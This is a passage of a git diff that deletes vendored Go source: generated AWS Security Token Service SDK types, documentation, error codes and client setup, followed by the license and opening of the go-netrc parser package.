invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDurationSeconds sets the DurationSeconds field's value. -func (s *AssumeRoleWithWebIdentityInput) SetDurationSeconds(v int64) *AssumeRoleWithWebIdentityInput { - s.DurationSeconds = &v - return s -} - -// SetPolicy sets the Policy field's value. -func (s *AssumeRoleWithWebIdentityInput) SetPolicy(v string) *AssumeRoleWithWebIdentityInput { - s.Policy = &v - return s -} - -// SetProviderId sets the ProviderId field's value. -func (s *AssumeRoleWithWebIdentityInput) SetProviderId(v string) *AssumeRoleWithWebIdentityInput { - s.ProviderId = &v - return s -} - -// SetRoleArn sets the RoleArn field's value. -func (s *AssumeRoleWithWebIdentityInput) SetRoleArn(v string) *AssumeRoleWithWebIdentityInput { - s.RoleArn = &v - return s -} - -// SetRoleSessionName sets the RoleSessionName field's value. -func (s *AssumeRoleWithWebIdentityInput) SetRoleSessionName(v string) *AssumeRoleWithWebIdentityInput { - s.RoleSessionName = &v - return s -} - -// SetWebIdentityToken sets the WebIdentityToken field's value. -func (s *AssumeRoleWithWebIdentityInput) SetWebIdentityToken(v string) *AssumeRoleWithWebIdentityInput { - s.WebIdentityToken = &v - return s -} - -// Contains the response to a successful AssumeRoleWithWebIdentity request, -// including temporary AWS credentials that can be used to make AWS requests. -type AssumeRoleWithWebIdentityOutput struct { - _ struct{} `type:"structure"` - - // The Amazon Resource Name (ARN) and the assumed role ID, which are identifiers - // that you can use to refer to the resulting temporary security credentials. - // For example, you can reference these credentials as a principal in a resource-based - // policy by using the ARN or assumed role ID. The ARN and ID include the RoleSessionName - // that you specified when you called AssumeRole. - AssumedRoleUser *AssumedRoleUser `type:"structure"` - - // The intended audience (also known as client ID) of the web identity token. - // This is traditionally the client identifier issued to the application that - // requested the web identity token. - Audience *string `type:"string"` - - // The temporary security credentials, which include an access key ID, a secret - // access key, and a security token. - // - // Note: The size of the security token that STS APIs return is not fixed. We - // strongly recommend that you make no assumptions about the maximum size. As - // of this writing, the typical size is less than 4096 bytes, but that can vary. - // Also, future updates to AWS might require larger sizes. - Credentials *Credentials `type:"structure"` - - // A percentage value that indicates the size of the policy in packed form. - // The service rejects any policy with a packed size greater than 100 percent, - // which means the policy exceeded the allowed space. - PackedPolicySize *int64 `type:"integer"` - - // The issuing authority of the web identity token presented. For OpenID Connect - // ID Tokens this contains the value of the iss field. For OAuth 2.0 access - // tokens, this contains the value of the ProviderId parameter that was passed - // in the AssumeRoleWithWebIdentity request. - Provider *string `type:"string"` - - // The unique user identifier that is returned by the identity provider. This - // identifier is associated with the WebIdentityToken that was submitted with - // the AssumeRoleWithWebIdentity call. The identifier is typically unique to - // the user and the application that acquired the WebIdentityToken (pairwise - // identifier). For OpenID Connect ID tokens, this field contains the value - // returned by the identity provider as the token's sub (Subject) claim. - SubjectFromWebIdentityToken *string `min:"6" type:"string"` -} - -// String returns the string representation -func (s AssumeRoleWithWebIdentityOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AssumeRoleWithWebIdentityOutput) GoString() string { - return s.String() -} - -// SetAssumedRoleUser sets the AssumedRoleUser field's value. -func (s *AssumeRoleWithWebIdentityOutput) SetAssumedRoleUser(v *AssumedRoleUser) *AssumeRoleWithWebIdentityOutput { - s.AssumedRoleUser = v - return s -} - -// SetAudience sets the Audience field's value. -func (s *AssumeRoleWithWebIdentityOutput) SetAudience(v string) *AssumeRoleWithWebIdentityOutput { - s.Audience = &v - return s -} - -// SetCredentials sets the Credentials field's value. -func (s *AssumeRoleWithWebIdentityOutput) SetCredentials(v *Credentials) *AssumeRoleWithWebIdentityOutput { - s.Credentials = v - return s -} - -// SetPackedPolicySize sets the PackedPolicySize field's value. -func (s *AssumeRoleWithWebIdentityOutput) SetPackedPolicySize(v int64) *AssumeRoleWithWebIdentityOutput { - s.PackedPolicySize = &v - return s -} - -// SetProvider sets the Provider field's value. -func (s *AssumeRoleWithWebIdentityOutput) SetProvider(v string) *AssumeRoleWithWebIdentityOutput { - s.Provider = &v - return s -} - -// SetSubjectFromWebIdentityToken sets the SubjectFromWebIdentityToken field's value. -func (s *AssumeRoleWithWebIdentityOutput) SetSubjectFromWebIdentityToken(v string) *AssumeRoleWithWebIdentityOutput { - s.SubjectFromWebIdentityToken = &v - return s -} - -// The identifiers for the temporary security credentials that the operation -// returns. -type AssumedRoleUser struct { - _ struct{} `type:"structure"` - - // The ARN of the temporary security credentials that are returned from the - // AssumeRole action. For more information about ARNs and how to use them in - // policies, see IAM Identifiers (http://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html) - // in Using IAM. - // - // Arn is a required field - Arn *string `min:"20" type:"string" required:"true"` - - // A unique identifier that contains the role ID and the role session name of - // the role that is being assumed. The role ID is generated by AWS when the - // role is created. - // - // AssumedRoleId is a required field - AssumedRoleId *string `min:"2" type:"string" required:"true"` -} - -// String returns the string representation -func (s AssumedRoleUser) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AssumedRoleUser) GoString() string { - return s.String() -} - -// SetArn sets the Arn field's value. -func (s *AssumedRoleUser) SetArn(v string) *AssumedRoleUser { - s.Arn = &v - return s -} - -// SetAssumedRoleId sets the AssumedRoleId field's value. -func (s *AssumedRoleUser) SetAssumedRoleId(v string) *AssumedRoleUser { - s.AssumedRoleId = &v - return s -} - -// AWS credentials for API authentication. -type Credentials struct { - _ struct{} `type:"structure"` - - // The access key ID that identifies the temporary security credentials. - // - // AccessKeyId is a required field - AccessKeyId *string `min:"16" type:"string" required:"true"` - - // The date on which the current credentials expire. - // - // Expiration is a required field - Expiration *time.Time `type:"timestamp" required:"true"` - - // The secret access key that can be used to sign requests. - // - // SecretAccessKey is a required field - SecretAccessKey *string `type:"string" required:"true"` - - // The token that users must pass to the service API to use the temporary credentials. - // - // SessionToken is a required field - SessionToken *string `type:"string" required:"true"` -} - -// String returns the string representation -func (s Credentials) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Credentials) GoString() string { - return s.String() -} - -// SetAccessKeyId sets the AccessKeyId field's value. -func (s *Credentials) SetAccessKeyId(v string) *Credentials { - s.AccessKeyId = &v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *Credentials) SetExpiration(v time.Time) *Credentials { - s.Expiration = &v - return s -} - -// SetSecretAccessKey sets the SecretAccessKey field's value. -func (s *Credentials) SetSecretAccessKey(v string) *Credentials { - s.SecretAccessKey = &v - return s -} - -// SetSessionToken sets the SessionToken field's value. -func (s *Credentials) SetSessionToken(v string) *Credentials { - s.SessionToken = &v - return s -} - -type DecodeAuthorizationMessageInput struct { - _ struct{} `type:"structure"` - - // The encoded message that was returned with the response. - // - // EncodedMessage is a required field - EncodedMessage *string `min:"1" type:"string" required:"true"` -} - -// String returns the string representation -func (s DecodeAuthorizationMessageInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DecodeAuthorizationMessageInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DecodeAuthorizationMessageInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DecodeAuthorizationMessageInput"} - if s.EncodedMessage == nil { - invalidParams.Add(request.NewErrParamRequired("EncodedMessage")) - } - if s.EncodedMessage != nil && len(*s.EncodedMessage) < 1 { - invalidParams.Add(request.NewErrParamMinLen("EncodedMessage", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetEncodedMessage sets the EncodedMessage field's value. -func (s *DecodeAuthorizationMessageInput) SetEncodedMessage(v string) *DecodeAuthorizationMessageInput { - s.EncodedMessage = &v - return s -} - -// A document that contains additional information about the authorization status -// of a request from an encoded message that is returned in response to an AWS -// request. -type DecodeAuthorizationMessageOutput struct { - _ struct{} `type:"structure"` - - // An XML document that contains the decoded message. - DecodedMessage *string `type:"string"` -} - -// String returns the string representation -func (s DecodeAuthorizationMessageOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DecodeAuthorizationMessageOutput) GoString() string { - return s.String() -} - -// SetDecodedMessage sets the DecodedMessage field's value. -func (s *DecodeAuthorizationMessageOutput) SetDecodedMessage(v string) *DecodeAuthorizationMessageOutput { - s.DecodedMessage = &v - return s -} - -// Identifiers for the federated user that is associated with the credentials. -type FederatedUser struct { - _ struct{} `type:"structure"` - - // The ARN that specifies the federated user that is associated with the credentials. - // For more information about ARNs and how to use them in policies, see IAM - // Identifiers (http://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html) - // in Using IAM. - // - // Arn is a required field - Arn *string `min:"20" type:"string" required:"true"` - - // The string that identifies the federated user associated with the credentials, - // similar to the unique ID of an IAM user. - // - // FederatedUserId is a required field - FederatedUserId *string `min:"2" type:"string" required:"true"` -} - -// String returns the string representation -func (s FederatedUser) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s FederatedUser) GoString() string { - return s.String() -} - -// SetArn sets the Arn field's value. -func (s *FederatedUser) SetArn(v string) *FederatedUser { - s.Arn = &v - return s -} - -// SetFederatedUserId sets the FederatedUserId field's value. -func (s *FederatedUser) SetFederatedUserId(v string) *FederatedUser { - s.FederatedUserId = &v - return s -} - -type GetCallerIdentityInput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s GetCallerIdentityInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetCallerIdentityInput) GoString() string { - return s.String() -} - -// Contains the response to a successful GetCallerIdentity request, including -// information about the entity making the request. -type GetCallerIdentityOutput struct { - _ struct{} `type:"structure"` - - // The AWS account ID number of the account that owns or contains the calling - // entity. - Account *string `type:"string"` - - // The AWS ARN associated with the calling entity. - Arn *string `min:"20" type:"string"` - - // The unique identifier of the calling entity. The exact value depends on the - // type of entity making the call. The values returned are those listed in the - // aws:userid column in the Principal table (http://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html#principaltable) - // found on the Policy Variables reference page in the IAM User Guide. - UserId *string `type:"string"` -} - -// String returns the string representation -func (s GetCallerIdentityOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetCallerIdentityOutput) GoString() string { - return s.String() -} - -// SetAccount sets the Account field's value. -func (s *GetCallerIdentityOutput) SetAccount(v string) *GetCallerIdentityOutput { - s.Account = &v - return s -} - -// SetArn sets the Arn field's value. -func (s *GetCallerIdentityOutput) SetArn(v string) *GetCallerIdentityOutput { - s.Arn = &v - return s -} - -// SetUserId sets the UserId field's value. -func (s *GetCallerIdentityOutput) SetUserId(v string) *GetCallerIdentityOutput { - s.UserId = &v - return s -} - -type GetFederationTokenInput struct { - _ struct{} `type:"structure"` - - // The duration, in seconds, that the session should last. Acceptable durations - // for federation sessions range from 900 seconds (15 minutes) to 129600 seconds - // (36 hours), with 43200 seconds (12 hours) as the default. Sessions obtained - // using AWS account (root) credentials are restricted to a maximum of 3600 - // seconds (one hour). If the specified duration is longer than one hour, the - // session obtained by using AWS account (root) credentials defaults to one - // hour. - DurationSeconds *int64 `min:"900" type:"integer"` - - // The name of the federated user. The name is used as an identifier for the - // temporary security credentials (such as Bob). For example, you can reference - // the federated user name in a resource-based policy, such as in an Amazon - // S3 bucket policy. - // - // The regex used to validate this parameter is a string of characters consisting - // of upper- and lower-case alphanumeric characters with no spaces. You can - // also include underscores or any of the following characters: =,.@- - // - // Name is a required field - Name *string `min:"2" type:"string" required:"true"` - - // An IAM policy in JSON format that is passed with the GetFederationToken call - // and evaluated along with the policy or policies that are attached to the - // IAM user whose credentials are used to call GetFederationToken. The passed - // policy is used to scope down the permissions that are available to the IAM - // user, by allowing only a subset of the permissions that are granted to the - // IAM user. The passed policy cannot grant more permissions than those granted - // to the IAM user. The final permissions for the federated user are the most - // restrictive set based on the intersection of the passed policy and the IAM - // user policy. - // - // If you do not pass a policy, the resulting temporary security credentials - // have no effective permissions. The only exception is when the temporary security - // credentials are used to access a resource that has a resource-based policy - // that specifically allows the federated user to access the resource. - // - // The format for this parameter, as described by its regex pattern, is a string - // of characters up to 2048 characters in length. The characters can be any - // ASCII character from the space character to the end of the valid character - // list (\u0020-\u00FF). It can also include the tab (\u0009), linefeed (\u000A), - // and carriage return (\u000D) characters. - // - // The policy plain text must be 2048 bytes or shorter. However, an internal - // conversion compresses it into a packed binary format with a separate limit. - // The PackedPolicySize response element indicates by percentage how close to - // the upper size limit the policy is, with 100% equaling the maximum allowed - // size. - // - // For more information about how permissions work, see Permissions for GetFederationToken - // (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_getfederationtoken.html). - Policy *string `min:"1" type:"string"` -} - -// String returns the string representation -func (s GetFederationTokenInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetFederationTokenInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetFederationTokenInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetFederationTokenInput"} - if s.DurationSeconds != nil && *s.DurationSeconds < 900 { - invalidParams.Add(request.NewErrParamMinValue("DurationSeconds", 900)) - } - if s.Name == nil { - invalidParams.Add(request.NewErrParamRequired("Name")) - } - if s.Name != nil && len(*s.Name) < 2 { - invalidParams.Add(request.NewErrParamMinLen("Name", 2)) - } - if s.Policy != nil && len(*s.Policy) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Policy", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDurationSeconds sets the DurationSeconds field's value. -func (s *GetFederationTokenInput) SetDurationSeconds(v int64) *GetFederationTokenInput { - s.DurationSeconds = &v - return s -} - -// SetName sets the Name field's value. -func (s *GetFederationTokenInput) SetName(v string) *GetFederationTokenInput { - s.Name = &v - return s -} - -// SetPolicy sets the Policy field's value. -func (s *GetFederationTokenInput) SetPolicy(v string) *GetFederationTokenInput { - s.Policy = &v - return s -} - -// Contains the response to a successful GetFederationToken request, including -// temporary AWS credentials that can be used to make AWS requests. -type GetFederationTokenOutput struct { - _ struct{} `type:"structure"` - - // The temporary security credentials, which include an access key ID, a secret - // access key, and a security (or session) token. - // - // Note: The size of the security token that STS APIs return is not fixed. We - // strongly recommend that you make no assumptions about the maximum size. As - // of this writing, the typical size is less than 4096 bytes, but that can vary. - // Also, future updates to AWS might require larger sizes. - Credentials *Credentials `type:"structure"` - - // Identifiers for the federated user associated with the credentials (such - // as arn:aws:sts::123456789012:federated-user/Bob or 123456789012:Bob). You - // can use the federated user's ARN in your resource-based policies, such as - // an Amazon S3 bucket policy. - FederatedUser *FederatedUser `type:"structure"` - - // A percentage value indicating the size of the policy in packed form. The - // service rejects policies for which the packed size is greater than 100 percent - // of the allowed value. - PackedPolicySize *int64 `type:"integer"` -} - -// String returns the string representation -func (s GetFederationTokenOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetFederationTokenOutput) GoString() string { - return s.String() -} - -// SetCredentials sets the Credentials field's value. -func (s *GetFederationTokenOutput) SetCredentials(v *Credentials) *GetFederationTokenOutput { - s.Credentials = v - return s -} - -// SetFederatedUser sets the FederatedUser field's value. -func (s *GetFederationTokenOutput) SetFederatedUser(v *FederatedUser) *GetFederationTokenOutput { - s.FederatedUser = v - return s -} - -// SetPackedPolicySize sets the PackedPolicySize field's value. -func (s *GetFederationTokenOutput) SetPackedPolicySize(v int64) *GetFederationTokenOutput { - s.PackedPolicySize = &v - return s -} - -type GetSessionTokenInput struct { - _ struct{} `type:"structure"` - - // The duration, in seconds, that the credentials should remain valid. Acceptable - // durations for IAM user sessions range from 900 seconds (15 minutes) to 129600 - // seconds (36 hours), with 43200 seconds (12 hours) as the default. Sessions - // for AWS account owners are restricted to a maximum of 3600 seconds (one hour). - // If the duration is longer than one hour, the session for AWS account owners - // defaults to one hour. - DurationSeconds *int64 `min:"900" type:"integer"` - - // The identification number of the MFA device that is associated with the IAM - // user who is making the GetSessionToken call. Specify this value if the IAM - // user has a policy that requires MFA authentication. The value is either the - // serial number for a hardware device (such as GAHT12345678) or an Amazon Resource - // Name (ARN) for a virtual device (such as arn:aws:iam::123456789012:mfa/user). - // You can find the device for an IAM user by going to the AWS Management Console - // and viewing the user's security credentials. - // - // The regex used to validated this parameter is a string of characters consisting - // of upper- and lower-case alphanumeric characters with no spaces. You can - // also include underscores or any of the following characters: =,.@:/- - SerialNumber *string `min:"9" type:"string"` - - // The value provided by the MFA device, if MFA is required. If any policy requires - // the IAM user to submit an MFA code, specify this value. If MFA authentication - // is required, and the user does not provide a code when requesting a set of - // temporary security credentials, the user will receive an "access denied" - // response when requesting resources that require MFA authentication. - // - // The format for this parameter, as described by its regex pattern, is a sequence - // of six numeric digits. - TokenCode *string `min:"6" type:"string"` -} - -// String returns the string representation -func (s GetSessionTokenInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetSessionTokenInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetSessionTokenInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetSessionTokenInput"} - if s.DurationSeconds != nil && *s.DurationSeconds < 900 { - invalidParams.Add(request.NewErrParamMinValue("DurationSeconds", 900)) - } - if s.SerialNumber != nil && len(*s.SerialNumber) < 9 { - invalidParams.Add(request.NewErrParamMinLen("SerialNumber", 9)) - } - if s.TokenCode != nil && len(*s.TokenCode) < 6 { - invalidParams.Add(request.NewErrParamMinLen("TokenCode", 6)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDurationSeconds sets the DurationSeconds field's value. -func (s *GetSessionTokenInput) SetDurationSeconds(v int64) *GetSessionTokenInput { - s.DurationSeconds = &v - return s -} - -// SetSerialNumber sets the SerialNumber field's value. -func (s *GetSessionTokenInput) SetSerialNumber(v string) *GetSessionTokenInput { - s.SerialNumber = &v - return s -} - -// SetTokenCode sets the TokenCode field's value. -func (s *GetSessionTokenInput) SetTokenCode(v string) *GetSessionTokenInput { - s.TokenCode = &v - return s -} - -// Contains the response to a successful GetSessionToken request, including -// temporary AWS credentials that can be used to make AWS requests. -type GetSessionTokenOutput struct { - _ struct{} `type:"structure"` - - // The temporary security credentials, which include an access key ID, a secret - // access key, and a security (or session) token. - // - // Note: The size of the security token that STS APIs return is not fixed. We - // strongly recommend that you make no assumptions about the maximum size. As - // of this writing, the typical size is less than 4096 bytes, but that can vary. - // Also, future updates to AWS might require larger sizes. - Credentials *Credentials `type:"structure"` -} - -// String returns the string representation -func (s GetSessionTokenOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetSessionTokenOutput) GoString() string { - return s.String() -} - -// SetCredentials sets the Credentials field's value. -func (s *GetSessionTokenOutput) SetCredentials(v *Credentials) *GetSessionTokenOutput { - s.Credentials = v - return s -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/sts/doc.go b/vendor/github.com/aws/aws-sdk-go/service/sts/doc.go deleted file mode 100644 index ef681ab0c6..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/sts/doc.go +++ /dev/null @@ -1,72 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -// Package sts provides the client and types for making API -// requests to AWS Security Token Service. -// -// The AWS Security Token Service (STS) is a web service that enables you to -// request temporary, limited-privilege credentials for AWS Identity and Access -// Management (IAM) users or for users that you authenticate (federated users). -// This guide provides descriptions of the STS API. For more detailed information -// about using this service, go to Temporary Security Credentials (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html). -// -// As an alternative to using the API, you can use one of the AWS SDKs, which -// consist of libraries and sample code for various programming languages and -// platforms (Java, Ruby, .NET, iOS, Android, etc.). The SDKs provide a convenient -// way to create programmatic access to STS. For example, the SDKs take care -// of cryptographically signing requests, managing errors, and retrying requests -// automatically. For information about the AWS SDKs, including how to download -// and install them, see the Tools for Amazon Web Services page (http://aws.amazon.com/tools/). -// -// For information about setting up signatures and authorization through the -// API, go to Signing AWS API Requests (http://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html) -// in the AWS General Reference. For general information about the Query API, -// go to Making Query Requests (http://docs.aws.amazon.com/IAM/latest/UserGuide/IAM_UsingQueryAPI.html) -// in Using IAM. For information about using security tokens with other AWS -// products, go to AWS Services That Work with IAM (http://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html) -// in the IAM User Guide. -// -// If you're new to AWS and need additional technical information about a specific -// AWS product, you can find the product's technical documentation at http://aws.amazon.com/documentation/ -// (http://aws.amazon.com/documentation/). -// -// Endpoints -// -// The AWS Security Token Service (STS) has a default endpoint of https://sts.amazonaws.com -// that maps to the US East (N. Virginia) region. Additional regions are available -// and are activated by default. For more information, see Activating and Deactivating -// AWS STS in an AWS Region (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html) -// in the IAM User Guide. -// -// For information about STS endpoints, see Regions and Endpoints (http://docs.aws.amazon.com/general/latest/gr/rande.html#sts_region) -// in the AWS General Reference. -// -// Recording API requests -// -// STS supports AWS CloudTrail, which is a service that records AWS calls for -// your AWS account and delivers log files to an Amazon S3 bucket. By using -// information collected by CloudTrail, you can determine what requests were -// successfully made to STS, who made the request, when it was made, and so -// on. To learn more about CloudTrail, including how to turn it on and find -// your log files, see the AWS CloudTrail User Guide (http://docs.aws.amazon.com/awscloudtrail/latest/userguide/what_is_cloud_trail_top_level.html). -// -// See https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15 for more information on this service. -// -// See sts package documentation for more information. -// https://docs.aws.amazon.com/sdk-for-go/api/service/sts/ -// -// Using the Client -// -// To contact AWS Security Token Service with the SDK use the New function to create -// a new service client. With that client you can make API requests to the service. -// These clients are safe to use concurrently. -// -// See the SDK's documentation for more information on how to use the SDK. -// https://docs.aws.amazon.com/sdk-for-go/api/ -// -// See aws.Config documentation for more information on configuring SDK clients. -// https://docs.aws.amazon.com/sdk-for-go/api/aws/#Config -// -// See the AWS Security Token Service client STS for more -// information on creating client for this service. -// https://docs.aws.amazon.com/sdk-for-go/api/service/sts/#New -package sts diff --git a/vendor/github.com/aws/aws-sdk-go/service/sts/errors.go b/vendor/github.com/aws/aws-sdk-go/service/sts/errors.go deleted file mode 100644 index e24884ef37..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/sts/errors.go +++ /dev/null @@ -1,73 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -package sts - -const ( - - // ErrCodeExpiredTokenException for service response error code - // "ExpiredTokenException". - // - // The web identity token that was passed is expired or is not valid. Get a - // new identity token from the identity provider and then retry the request. - ErrCodeExpiredTokenException = "ExpiredTokenException" - - // ErrCodeIDPCommunicationErrorException for service response error code - // "IDPCommunicationError". - // - // The request could not be fulfilled because the non-AWS identity provider - // (IDP) that was asked to verify the incoming identity token could not be reached. - // This is often a transient error caused by network conditions. Retry the request - // a limited number of times so that you don't exceed the request rate. If the - // error persists, the non-AWS identity provider might be down or not responding. - ErrCodeIDPCommunicationErrorException = "IDPCommunicationError" - - // ErrCodeIDPRejectedClaimException for service response error code - // "IDPRejectedClaim". - // - // The identity provider (IdP) reported that authentication failed. This might - // be because the claim is invalid. - // - // If this error is returned for the AssumeRoleWithWebIdentity operation, it - // can also mean that the claim has expired or has been explicitly revoked. - ErrCodeIDPRejectedClaimException = "IDPRejectedClaim" - - // ErrCodeInvalidAuthorizationMessageException for service response error code - // "InvalidAuthorizationMessageException". - // - // The error returned if the message passed to DecodeAuthorizationMessage was - // invalid. This can happen if the token contains invalid characters, such as - // linebreaks. - ErrCodeInvalidAuthorizationMessageException = "InvalidAuthorizationMessageException" - - // ErrCodeInvalidIdentityTokenException for service response error code - // "InvalidIdentityToken". - // - // The web identity token that was passed could not be validated by AWS. Get - // a new identity token from the identity provider and then retry the request. - ErrCodeInvalidIdentityTokenException = "InvalidIdentityToken" - - // ErrCodeMalformedPolicyDocumentException for service response error code - // "MalformedPolicyDocument". - // - // The request was rejected because the policy document was malformed. The error - // message describes the specific error. - ErrCodeMalformedPolicyDocumentException = "MalformedPolicyDocument" - - // ErrCodePackedPolicyTooLargeException for service response error code - // "PackedPolicyTooLarge". - // - // The request was rejected because the policy document was too large. The error - // message describes how big the policy document is, in packed form, as a percentage - // of what the API allows. - ErrCodePackedPolicyTooLargeException = "PackedPolicyTooLarge" - - // ErrCodeRegionDisabledException for service response error code - // "RegionDisabledException". - // - // STS is not activated in the requested region for the account that is being - // asked to generate credentials. The account administrator must use the IAM - // console to activate STS in that region. For more information, see Activating - // and Deactivating AWS STS in an AWS Region (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html) - // in the IAM User Guide. - ErrCodeRegionDisabledException = "RegionDisabledException" -) diff --git a/vendor/github.com/aws/aws-sdk-go/service/sts/service.go b/vendor/github.com/aws/aws-sdk-go/service/sts/service.go deleted file mode 100644 index 185c914d1b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/sts/service.go +++ /dev/null @@ -1,95 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -package sts - -import ( - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/client/metadata" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/aws/signer/v4" - "github.com/aws/aws-sdk-go/private/protocol/query" -) - -// STS provides the API operation methods for making requests to -// AWS Security Token Service. See this package's package overview docs -// for details on the service. -// -// STS methods are safe to use concurrently. It is not safe to -// modify mutate any of the struct's properties though. -type STS struct { - *client.Client -} - -// Used for custom client initialization logic -var initClient func(*client.Client) - -// Used for custom request initialization logic -var initRequest func(*request.Request) - -// Service information constants -const ( - ServiceName = "sts" // Name of service. - EndpointsID = ServiceName // ID to lookup a service endpoint with. - ServiceID = "STS" // ServiceID is a unique identifer of a specific service. -) - -// New creates a new instance of the STS client with a session. -// If additional configuration is needed for the client instance use the optional -// aws.Config parameter to add your extra config. -// -// Example: -// // Create a STS client from just a session. -// svc := sts.New(mySession) -// -// // Create a STS client with additional configuration -// svc := sts.New(mySession, aws.NewConfig().WithRegion("us-west-2")) -func New(p client.ConfigProvider, cfgs ...*aws.Config) *STS { - c := p.ClientConfig(EndpointsID, cfgs...) - return newClient(*c.Config, c.Handlers, c.Endpoint, c.SigningRegion, c.SigningName) -} - -// newClient creates, initializes and returns a new service client instance. -func newClient(cfg aws.Config, handlers request.Handlers, endpoint, signingRegion, signingName string) *STS { - svc := &STS{ - Client: client.New( - cfg, - metadata.ClientInfo{ - ServiceName: ServiceName, - ServiceID: ServiceID, - SigningName: signingName, - SigningRegion: signingRegion, - Endpoint: endpoint, - APIVersion: "2011-06-15", - }, - handlers, - ), - } - - // Handlers - svc.Handlers.Sign.PushBackNamed(v4.SignRequestHandler) - svc.Handlers.Build.PushBackNamed(query.BuildHandler) - svc.Handlers.Unmarshal.PushBackNamed(query.UnmarshalHandler) - svc.Handlers.UnmarshalMeta.PushBackNamed(query.UnmarshalMetaHandler) - svc.Handlers.UnmarshalError.PushBackNamed(query.UnmarshalErrorHandler) - - // Run custom client initialization if present - if initClient != nil { - initClient(svc.Client) - } - - return svc -} - -// newRequest creates a new request for a STS operation and runs any -// custom request initialization. -func (c *STS) newRequest(op *request.Operation, params, data interface{}) *request.Request { - req := c.NewRequest(op, params, data) - - // Run custom request initialization if present - if initRequest != nil { - initRequest(req) - } - - return req -} diff --git a/vendor/github.com/bgentry/go-netrc/LICENSE b/vendor/github.com/bgentry/go-netrc/LICENSE deleted file mode 100644 index aade9a58b1..0000000000 --- a/vendor/github.com/bgentry/go-netrc/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -Original version Copyright © 2010 Fazlul Shahriar . Newer -portions Copyright © 2014 Blake Gentry . - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/bgentry/go-netrc/netrc/netrc.go b/vendor/github.com/bgentry/go-netrc/netrc/netrc.go deleted file mode 100644 index ea49987c08..0000000000 --- a/vendor/github.com/bgentry/go-netrc/netrc/netrc.go +++ /dev/null @@ -1,510 +0,0 @@ -package netrc - -import ( - "bufio" - "bytes" - "fmt" - "io" - "io/ioutil" - "os" - "strings" - "sync" - "unicode" - "unicode/utf8" -) - -type tkType int - -const ( - tkMachine tkType = iota - tkDefault - tkLogin - tkPassword - tkAccount - tkMacdef - tkComment - tkWhitespace -) - -var keywords = map[string]tkType{ - "machine": tkMachine, - "default": tkDefault, - "login": tkLogin, - "password": tkPassword, - "account": tkAccount, - "macdef": tkMacdef, - "#": tkComment, -} - -type Netrc struct { - tokens []*token - machines []*Machine - macros Macros - updateLock sync.Mutex -} - -// FindMachine returns the Machine in n named by name. If a machine named by -// name exists, it is returned. If no Machine with name name is found and there -// is a ``default'' 